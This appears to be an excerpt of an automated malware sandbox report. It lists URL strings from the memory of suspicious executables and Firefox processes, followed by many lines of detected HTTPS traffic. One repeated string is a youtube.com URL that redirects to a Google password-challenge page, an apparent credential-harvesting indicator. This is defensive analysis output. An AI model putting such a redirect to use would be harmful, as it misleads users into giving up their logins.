Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: file.exe, 00000000.00000002.2537867494.00000000003C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 954f709e67.exe, 0000001D.00000003.3156138790.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2537867494.00000000003C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2537867494.00000000003C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/xe
Source: file.exe, 00000000.00000002.2537867494.00000000004A7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2537867494.00000000003C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2537867494.00000000004A7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: 954f709e67.exe, 0000001D.00000003.3156138790.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2537867494.00000000003C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2440095414.0000000023AA8000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3071269745.0000000005934000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3156138790.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 954f709e67.exe, 0000001D.00000003.3156138790.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/urlbar-result-menu-dismiss-firefox-suggestresource:///modules/Ur
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: file.exe, 00000000.00000003.2440095414.0000000023AA8000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3071269745.0000000005934000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3156138790.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2537867494.00000000003C4000.00000040.00000001.01000000.00000003.sdmp, firefox.exe, 0000002F.00000002.3426610436.00000214F8858000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3308034876.000001FAD57CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: file.exe, 00000000.00000003.2440095414.0000000023AA8000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3071269745.0000000005934000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3156138790.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2537867494.00000000003C4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: firefox.exe, 0000002F.00000002.3301814428.00000083A27FB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000002F.00000002.3669982732.00000214FDC5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCC66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000002F.00000002.3684594631.00000214FFB1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3684594631.00000214FFB4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000002F.00000002.3683529789.00000214FFA77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000002F.00000002.3681221713.00000214FEB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3327733092.00000214ED003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3305552226.000001FAD550A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3306602147.000001FAD55E4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3305552226.000001FAD5500000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000002D.00000002.3245869929.0000023AD5E27000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3264565421.000001F1B7527000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3323999989.00000214ECCD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000002F.00000002.3345626656.00000214EED93000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3345626656.00000214EED50000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3306602147.000001FAD55E4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3305552226.000001FAD5500000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMozElements.MozEleme
Source: firefox.exe, 0000002F.00000002.3327733092.00000214ED003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd~
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accountget

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
